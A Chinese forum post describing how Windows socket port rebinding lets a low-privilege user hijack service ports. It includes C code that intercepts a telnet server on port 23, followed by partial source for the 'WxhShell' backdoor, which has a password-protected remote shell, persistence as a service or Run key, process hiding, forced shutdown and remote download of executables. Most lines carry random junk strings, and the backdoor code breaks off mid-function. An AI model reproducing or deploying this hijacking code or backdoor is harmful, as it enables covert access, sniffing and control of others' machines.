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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ewPdhCK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dnc!=Z89  
{h+E&u[zL  
  saddr.sin_family = AF_INET; "/h"Xg>q  
\@" . GM%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /1 %0A  
YHtI%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zk~rKQ,  
aT1 W] i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3t6'5{  
g' U^fN  
  这意味着什么?意味着可以进行如下的攻击: 7%}}m&A7h  
U>jk`?zW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5F?g6?j{  
1h0ohW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S.>9tV2Ca  
2Yjysn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H pfI  
9@+X?Nhv5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $466? oI  
Zul32]1r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gnq~1p5^  
B\w`)c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H;L&G|[  
N Uml"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R7b*(33  
haK5Oe/cE  
  #include `Pbn  
  #include W5g!`f  
  #include bcs(#  
  #include    "& |2IA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g5\B-3{  
  int main() _/\H3  
  { N^at{I6C  
  WORD wVersionRequested; #<3\}*/  
  DWORD ret; 4 l(o{{  
  WSADATA wsaData; ,Ou)F;r  
  BOOL val; _xsYcw~)  
  SOCKADDR_IN saddr; [AwE  
  SOCKADDR_IN scaddr; __npX_4%S  
  int err; +y(h/NcQ  
  SOCKET s; I{bi3y0  
  SOCKET sc; (#`o >G(  
  int caddsize; 5E=Odep`  
  HANDLE mt; r2w7lf66!  
  DWORD tid;   >fQN"(tf  
  wVersionRequested = MAKEWORD( 2, 2 ); + k:?;ZG  
  err = WSAStartup( wVersionRequested, &wsaData ); #1k,t  
  if ( err != 0 ) { h^,a 1'  
  printf("error!WSAStartup failed!\n"); H_]kR&F8  
  return -1; }hxYsI"d  
  } sJ=B:3jS0  
  saddr.sin_family = AF_INET; mD3#$E!A1  
   GK+w1%6)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _A*0K,F-  
2T5ZbXc+x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \PJ89u0  
  saddr.sin_port = htons(23); $_kU)<e3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sa5y7   
  { Y.J$f<[R  
  printf("error!socket failed!\n"); dZ Z/(oE>  
  return -1; uyIA]OtyN  
  } V-0Y~T  
  val = TRUE; P])O\<)J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5N0H^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "H8N,eb2  
  { `PfC:L  
  printf("error!setsockopt failed!\n"); 8wOPpdc  
  return -1; hrK^oa_[W  
  } `N+ P ,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Lq.k?!D3uh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PoZBiw@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *v&RGY[>  
;7}*Xr|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) he@swE&  
  { =8-e1R/  
  ret=GetLastError(); Zh*I0m   
  printf("error!bind failed!\n"); :M16ijkx  
  return -1; PQ" Dl=,  
  } wB@A?&UY  
  listen(s,2); rE 8-MB  
  while(1) L`6`NYR  
  { 3c)xNXq m  
  caddsize = sizeof(scaddr); K9c:K/H  
  //接受连接请求 f|!zjX`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \oyr[so(i  
  if(sc!=INVALID_SOCKET) ~7|z2L  
  { TD<.:ul]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TD'1L:mv  
  if(mt==NULL) \TjsXy=:)  
  { v2NzPzzyb  
  printf("Thread Creat Failed!\n"); t$b`Am  
  break; 6Y=)12T  
  } 8l6R.l  
  } K7|BXGL8r8  
  CloseHandle(mt); {8eNQ-4I  
  } -4.+&'  
  closesocket(s); yd $y\pN=<  
  WSACleanup(); 1jR<H$aS  
  return 0; N]3XDd|q  
  }   p 4=^ UP  
  DWORD WINAPI ClientThread(LPVOID lpParam) !U@[lBW  
  { k 2~j:&p  
  SOCKET ss = (SOCKET)lpParam; R"jX9~3Ln  
  SOCKET sc; czafBO6  
  unsigned char buf[4096]; Lq:Z='Kc  
  SOCKADDR_IN saddr; wNn6".S   
  long num; : 7'anj  
  DWORD val; k7?(I U  
  DWORD ret; `3~w#?+=*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W1 E(( 2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8D-g%Aj-  
  saddr.sin_family = AF_INET; mU;TB%#)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |,o!O39}>  
  saddr.sin_port = htons(23); Y%2<}3P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  C+_ NG  
  { b1-JnEc  
  printf("error!socket failed!\n"); 1Ypru<.)W  
  return -1; 6u7>S?  
  } mAz':R[  
  val = 100; ."dmL=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >k"/:g^t  
  { koFY7;_<?  
  ret = GetLastError(); N/(&&\3  
  return -1; ;L|%H/SH  
  } p tMysYT'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WL<Cj_N_{H  
  { .pZwhb  
  ret = GetLastError(); C;_10Rb2ut  
  return -1; K*>lq|i u  
  } ^J?I-LG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]w({5i  
  { 0]&~ddL  
  printf("error!socket connect failed!\n"); v*kTTaU&  
  closesocket(sc); /_v@YB!0  
  closesocket(ss); in$Pk$ c  
  return -1; ;a2TONW   
  } 0Db#W6*^  
  while(1) z>~Hc8*]3  
  { Z':}ZXy]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i!9yN: m0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !h4L_D0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pno]B ld'z  
  num = recv(ss,buf,4096,0); *22}b.)  
  if(num>0) <rNCb;  
  send(sc,buf,num,0); GHfsq|*j,Z  
  else if(num==0) x pT85D  
  break; t0(1qFi  
  num = recv(sc,buf,4096,0); zrri&QDF<  
  if(num>0) &Nl:  
  send(ss,buf,num,0); q<dZy? f  
  else if(num==0) N^H~VG&D(  
  break; b$[O^p9x  
  } \:, dWL u  
  closesocket(ss); q,A;d^g  
  closesocket(sc); )Z2HzjE  
  return 0 ; @|sDb?J  
  } u?r=;:N|y  
%i:Sf  
Ou>L|#=!  
========================================================== ED [` Y.;  
LNOm"D?"  
下边附上一个代码,,WXhSHELL eX;C.[&7;8  
: A9G>qg  
========================================================== ;rC)*=4#  
bS[;d5  
#include "stdafx.h" 80DcM9^t8  
S3l$\X;6X  
#include <stdio.h> n$&xVaF|  
#include <string.h> U= QfInB  
#include <windows.h> (pJ-_w' G  
#include <winsock2.h> w,f1F;!q1  
#include <winsvc.h> _Z'[-rcXWh  
#include <urlmon.h> PZ06 _  
/Sy:/BQ  
#pragma comment (lib, "Ws2_32.lib") -I1Ne^DZn4  
#pragma comment (lib, "urlmon.lib") u7!X#<  
\h6_m)*H4  
#define MAX_USER   100 // 最大客户端连接数 V Iof4?i  
#define BUF_SOCK   200 // sock buffer C\7qAR\  
#define KEY_BUFF   255 // 输入 buffer Or&TGwo I  
F+vgkqs@9  
#define REBOOT     0   // 重启 HYgq@47$[  
#define SHUTDOWN   1   // 关机 A"S{W^iL  
%YhZ#>WT  
#define DEF_PORT   5000 // 监听端口 w < p  
&6/# O  
#define REG_LEN     16   // 注册表键长度 xz dqE  
#define SVC_LEN     80   // NT服务名长度 iMnp `:*  
mA5xke_)  
// 从dll定义API ^s25z=^t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9:^SnHAa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pms"YhyZ7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [((P ,v*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [`P+{ R  
(o_wv  
// wxhshell配置信息 wVCZ=\L}  
struct WSCFG { Lwgk}!KR  
  int ws_port;         // 监听端口 sygAEL;.  
  char ws_passstr[REG_LEN]; // 口令 `B;^:u  
  int ws_autoins;       // 安装标记, 1=yes 0=no ugg08am!  
  char ws_regname[REG_LEN]; // 注册表键名 `.+_}.m  
  char ws_svcname[REG_LEN]; // 服务名 d$<HMs:o@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #RoGyrLo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rlYAy5&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q4 Mp[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C=}YKsi|R|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u"-q"0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *]%{ttR~  
CuPZ0  
}; ysA~Nq@  
$b;9oST  
// default Wxhshell configuration }p0|.Qu9  
struct WSCFG wscfg={DEF_PORT, ]}R\[F (_%  
    "xuhuanlingzhe", |`9POl=  
    1, =LHE_ AA  
    "Wxhshell", q4$zsw  
    "Wxhshell", sHO6y0P  
            "WxhShell Service", Le"$ksu>  
    "Wrsky Windows CmdShell Service", nG&= $7x^  
    "Please Input Your Password: ", ;5 cg<~t  
  1, t^. U<M  
  "http://www.wrsky.com/wxhshell.exe", c@)k#/[[b  
  "Wxhshell.exe" ^w4FqdGM  
    }; xZt]s3?  
tWVbD%u^  
// 消息定义模块 [E_6n$w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?4wS/_C/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NKd!i09`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c[@-&o`  
char *msg_ws_ext="\n\rExit."; +_uT1PsBY  
char *msg_ws_end="\n\rQuit."; djV^A  
char *msg_ws_boot="\n\rReboot..."; +\G/j]3f  
char *msg_ws_poff="\n\rShutdown..."; _wp6rb:8!  
char *msg_ws_down="\n\rSave to "; zN JK+_O=  
xqv4gN6  
char *msg_ws_err="\n\rErr!"; siw } }}  
char *msg_ws_ok="\n\rOK!"; > Zo_-,  
[*w^|b ?  
char ExeFile[MAX_PATH]; V%?oI]" l  
int nUser = 0; zDY!0QZLF\  
HANDLE handles[MAX_USER]; cYyv iR59#  
int OsIsNt; aS?A3h4WM_  
+`l >_u'  
SERVICE_STATUS       serviceStatus; )r-t$ L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uiDK&@RS  
9vT@ mqKu  
// 函数声明 pZz?c/h-  
int Install(void); "exph$  
int Uninstall(void); hZ!N8nWwNR  
int DownloadFile(char *sURL, SOCKET wsh); >5)E\4r-  
int Boot(int flag); ]+Yd#<j(u  
void HideProc(void); A-r-^S0\  
int GetOsVer(void); hZ-No  
int Wxhshell(SOCKET wsl); UOH2I+@V  
void TalkWithClient(void *cs); 5+dQGcE@  
int CmdShell(SOCKET sock); V*SKWP  
int StartFromService(void); D1t@Y.vl  
int StartWxhshell(LPSTR lpCmdLine); &!#,p{}ccU  
roYoxF;\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }|MGYS)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W}V L3s  
FR _R"p  
// 数据结构和表定义 &'9 Jy'(X  
SERVICE_TABLE_ENTRY DispatchTable[] = .T?9-`I9  
{ XHcT7}]  
{wscfg.ws_svcname, NTServiceMain}, %qL0=ad  
{NULL, NULL} .]g>.  
}; ^il'Q_-{  
(1gfb*L  
// 自我安装 sL]KBux  
int Install(void) '`=z52  
{ ,TaaXI  
  char svExeFile[MAX_PATH]; -qz;  
  HKEY key; -m)N~>{qS  
  strcpy(svExeFile,ExeFile); R"#DR^.;  
5an#,vCn{  
// 如果是win9x系统,修改注册表设为自启动 L31B:t^  
if(!OsIsNt) { PpX=~Of~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'S\YNLqQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @x?7J@:  
  RegCloseKey(key); #rM/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hu.c&Q>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p< Emy%  
  RegCloseKey(key); v??}d   
  return 0; 7k}[x|u  
    } +xMK.*H]W  
  } 6 ?F F !x  
} =FQ]eb*  
else { !mH2IjcL  
>Du5B&41  
// 如果是NT以上系统,安装为系统服务 C4e3Itc9X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )| @'}k+  
if (schSCManager!=0) Ol3$!x9  
{ JaP2Q} &B  
  SC_HANDLE schService = CreateService X(kyu,w  
  ( O0Y/y2d  
  schSCManager, E$]7w4,n  
  wscfg.ws_svcname, j4Ppn  
  wscfg.ws_svcdisp, We% -?l:"  
  SERVICE_ALL_ACCESS, )B.NV<m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lR_ 4iyqb  
  SERVICE_AUTO_START, =qiX0JT  
  SERVICE_ERROR_NORMAL, O?|opD  
  svExeFile, q\*",xZxwz  
  NULL, !fUrDOM0E  
  NULL, syhTOhOX  
  NULL, UO$z_ p]w  
  NULL, Q`}1 B   
  NULL 52K_kB5  
  ); +[M5x[[$  
  if (schService!=0) ;|&Ak_I2G  
  { YFgQ!\&59  
  CloseServiceHandle(schService); *.4;7#  
  CloseServiceHandle(schSCManager); R}7>*&S:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 289teU  
  strcat(svExeFile,wscfg.ws_svcname); VE1 B"s</  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RGh `=D/yE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jrT5Rw_}q  
  RegCloseKey(key); F }l_=  
  return 0; Kg^L 4Q  
    } q@1!v  
  } ZOvMA]Rf  
  CloseServiceHandle(schSCManager); F M:ax{  
} afOb-G$d=  
} v+dt1;  
(%]&Pe]  
return 1; QWG?^T fi  
} i~:FlW]  
W zYy<  
// 自我卸载 ]etLobV  
int Uninstall(void) v`#T)5gl-  
{ z 3)pvX5  
  HKEY key; ?zp@HS a9  
xo/[,rR  
if(!OsIsNt) { lSU&Yqx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (wLzkV/6  
  RegDeleteValue(key,wscfg.ws_regname); }<`Mn34@  
  RegCloseKey(key); 0Pw?@uV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =+`I%>wc  
  RegDeleteValue(key,wscfg.ws_regname); {<%zcNKl^L  
  RegCloseKey(key); mwLp~z%OX  
  return 0; Kt3/C'zu  
  } *L> gZ`Q  
} jz(}P8  
} NMb`d0;(  
else { A; Rr#q<  
oW3{&vfz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9NvV{WI-1  
if (schSCManager!=0) XmN3[j  
{ J/Ki]T9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d54(6N%  
  if (schService!=0) 4h wUH  
  { n| =k9z<y8  
  if(DeleteService(schService)!=0) { OV ~|@{6T  
  CloseServiceHandle(schService); i~ D,  
  CloseServiceHandle(schSCManager); @(2DfrC  
  return 0; "QA <5P  
  } 13(JW  
  CloseServiceHandle(schService); >i=^Mh-bm  
  } oyV@BHJO@  
  CloseServiceHandle(schSCManager); x gP/BK2"  
} 44axOk!G[/  
} TIlBT{A<  
b?`8-g  
return 1; z1A[rbe=4w  
} _uU}J5d.  
~3 4Ly  
// 从指定url下载文件 ]5b%r;_  
int DownloadFile(char *sURL, SOCKET wsh) %IGcn48J  
{ lgp-/O"T  
  HRESULT hr; b6BeOR*ps  
char seps[]= "/"; RMU]GCa  
char *token; zMasA  
char *file; Zn&S7a>7  
char myURL[MAX_PATH]; X]d["  
char myFILE[MAX_PATH]; l%@>)%LA  
>(+g:p  
strcpy(myURL,sURL); Qe<D X"  
  token=strtok(myURL,seps); V4p4m@z^u  
  while(token!=NULL) hKP!;R  
  { /=co/}i  
    file=token; 8d.5D&  
  token=strtok(NULL,seps); VaQqi>;\  
  } to@ O  
G3vKA&KZ  
GetCurrentDirectory(MAX_PATH,myFILE); -Gjz;/s%XH  
strcat(myFILE, "\\"); qD:3;85  
strcat(myFILE, file); bf ]W_I]B  
  send(wsh,myFILE,strlen(myFILE),0); $r})j~c  
send(wsh,"...",3,0); r<4FF=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +BcJHNIB  
  if(hr==S_OK) v#i,pBj  
return 0; 2OFrv=F  
else 3]Rb2$p[=  
return 1; J{c-'Of2yi  
`[x`#irD  
} iDej{95  
xKIzEN &  
// 系统电源模块 "F%w{bf  
int Boot(int flag) ta\AiHm  
{ _/0vmgQ&  
  HANDLE hToken; !U38aHG  
  TOKEN_PRIVILEGES tkp; &x$1hx'  
@KRr$k  
  if(OsIsNt) { .T0w2Dv/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Stqlp<xy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "i/ l'  
    tkp.PrivilegeCount = 1; Oi# F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pX3Q@3,$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mEsOYIu{  
if(flag==REBOOT) { Nb/W+& y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f,{O%*PUA  
  return 0; h ,;f6  
} ?h)Z ;,}  
else { v:0.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) luD.3&0n  
  return 0; W.b?MPy]  
} b,U"N-6  
  } ./nq*4=  
  else { x#z}A&  
if(flag==REBOOT) { %7WQb]y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }nNZp  
  return 0; Kp[ F@A#  
} Ul#||B .c{  
else { @C7if lo6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ht _fbh(l  
  return 0; P)bS ;w\(Y  
} f4Aevh:  
} uN1(l}z$  
OrN>4S  
return 1; (}1 gO  
} \]pRu"  
 ;ew j  
// win9x进程隐藏模块 <:=}1t.Z  
void HideProc(void) !qe ,&JL  
{ !.>TF+]  
y ;W|)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T;/Y/Fd  
  if ( hKernel != NULL ) ?`R;ZT)U-  
  { LJ7Qwh_",  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 D<s #  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )Zx;Z[  
    FreeLibrary(hKernel); #P[d?pY  
  } oJ}!qrrH  
Qu4Bd|`(k  
return; et[n;nl>V  
} os/_ObPiX  
O3, IR1  
// 获取操作系统版本 := OdjfhY  
int GetOsVer(void) &~`Ay4hq  
{ [|{2&830  
  OSVERSIONINFO winfo; nk8jXZ"w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,CACQhrng  
  GetVersionEx(&winfo); CMk0(sztU_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y"J' 'K  
  return 1; q)S70M_1  
  else x;d*?69f]  
  return 0; xD[O8vQE  
} ux-puG  
78'HE(*  
// 客户端句柄模块 w@ 1g_dy  
int Wxhshell(SOCKET wsl) ^&gu{kP  
{ d&mSoPf  
  SOCKET wsh; " sh%8 <N  
  struct sockaddr_in client; 9X<o8^V  
  DWORD myID; Z!\xVCG"q  
8}9B*m  
  while(nUser<MAX_USER) ?"oW1a\  
{ QU0FeGtz  
  int nSize=sizeof(client); )*!"6d)^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P,.<3W"4i  
  if(wsh==INVALID_SOCKET) return 1; ?[~"$  
j*2Q{ik>J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )3h%2C1uM  
if(handles[nUser]==0) M'Fa[n*b?!  
  closesocket(wsh); 3Yu1ZuIR  
else A6D.bJ)  
  nUser++; _^{!`*S  
  } p6=L}L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =3KK/[2M  
.9r+LA{  
  return 0; ;IklS*p]  
} V5 $J  
<HReh>)[  
// 关闭 socket j SLC L'  
void CloseIt(SOCKET wsh) Co`O{|NS}!  
{ VK/@jrL+  
closesocket(wsh); ~M@'=Q*~  
nUser--; ]`[r=cG  
ExitThread(0); O3H~|R+^  
} $:|z{p  
ldEZ_g^  
// 客户端请求句柄 C?I vXPlV  
void TalkWithClient(void *cs) y_aKW4L+  
{ gWlv;oq  
NI(fJ%U  
  SOCKET wsh=(SOCKET)cs; 'FVh/};Y.D  
  char pwd[SVC_LEN]; ^.']-XjC  
  char cmd[KEY_BUFF]; :Bk!YK  
char chr[1]; v.eNWp  
int i,j; G-5wv  
kVu8/*Q  
  while (nUser < MAX_USER) { bwH l}3  
^;on  
if(wscfg.ws_passstr) { _oOE MQb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /$]#L%   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aD5jy  
  //ZeroMemory(pwd,KEY_BUFF); *RM?SE6;  
      i=0; F_KPhe$  
  while(i<SVC_LEN) { Rg4'9I%B  
!rmXeN]-r  
  // 设置超时 &c;@u?:@S  
  fd_set FdRead; =P* YwLb  
  struct timeval TimeOut; 41\r7 BS  
  FD_ZERO(&FdRead); d[h2Y/AR  
  FD_SET(wsh,&FdRead); F%Te0l  
  TimeOut.tv_sec=8; z:m`  
  TimeOut.tv_usec=0; f T7Z6$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ["5Z =4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %by8i1HR  
~g&FeMo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'o%IA)sF  
  pwd=chr[0]; :o!bz>T  
  if(chr[0]==0xd || chr[0]==0xa) { Oa[G #  
  pwd=0; ~d+.w%Z `  
  break; B,`B!rU  
  } `RRC8]l  
  i++; <r[5 S5y  
    } 5C03)Go3Z  
XynDo^+ru  
  // 如果是非法用户,关闭 socket .}AzkKdd@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fgmu*\x<  
} /h/f&3'h  
+`;YK7o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bnso+cA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W(5et5DN,  
`# N j8  
while(1) { Z/y&;N4  
jacp':T  
  ZeroMemory(cmd,KEY_BUFF); ,4RmT\%T  
@S69u s}  
      // 自动支持客户端 telnet标准   a4zq`n|3U  
  j=0; ba=-F4?  
  while(j<KEY_BUFF) { iX 3Y:   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RyI(6TZl  
  cmd[j]=chr[0]; Gp0B^^H$  
  if(chr[0]==0xa || chr[0]==0xd) { zQ;jaS3 hf  
  cmd[j]=0; AKKp-I5  
  break; `WjRb  
  } 4Dd@&N  
  j++; xY3 KKje  
    } pS1f y]  
z#$>f*b  
  // 下载文件 4G:?U6  
  if(strstr(cmd,"http://")) { {8'f>YP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J(k\Pz*  
  if(DownloadFile(cmd,wsh)) d&!;uzOx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;A9t#\  
  else O WJv<3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F&ud|X=m  
  } 3#=%2\  
  else { f!3$xu5  
vG`;2laY  
    switch(cmd[0]) { 0QWc1L  
  q%G"P*g$(  
  // 帮助 aP#nK  
  case '?': { K,ccM[hu|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +3;`4bW  
    break; gpIq4Q<  
  } hkifd4#  
  // 安装 XZ|%9#6  
  case 'i': { B)q 5m y  
    if(Install()) 1 P0)La#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !x%$xC^Iz  
    else 3lkz:]SsE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *OX;ZQg0  
    break; DdI V~CxD  
    } ~>j5z&:&  
  // 卸载 '@jP$6T&  
  case 'r': { jcC "S qL  
    if(Uninstall()) .B9i`)0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &l&B[s6[  
    else 5a0&LNm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cft'%IEs  
    break; =>y%Aj&4  
    } GL S`1!  
  // 显示 wxhshell 所在路径 HVG:q#=C  
  case 'p': { ./Y5Vk#Rp\  
    char svExeFile[MAX_PATH]; P+9%(S)L3  
    strcpy(svExeFile,"\n\r"); !4?QR  
      strcat(svExeFile,ExeFile); h;+bHrKji  
        send(wsh,svExeFile,strlen(svExeFile),0);  D|8Pe{`  
    break; r+yl{  
    } wjRv =[  
  // 重启 E1"H( m&6  
  case 'b': { Xb/W[rcs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R&!{3!V  
    if(Boot(REBOOT)) = Ff2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $G,#nh2 oD  
    else { n'i~1pM,?  
    closesocket(wsh); 1kX>sajp~  
    ExitThread(0); ,; 81FK  
    } bvR0?xn q  
    break; {&I3qk2(  
    } 6 _Cc+}W  
  // 关机 `S&.gPE2  
  case 'd': { t>Ot)d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4:50dj  
    if(Boot(SHUTDOWN)) n/zTS3<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UHaY|I${U  
    else { 20NotCM  
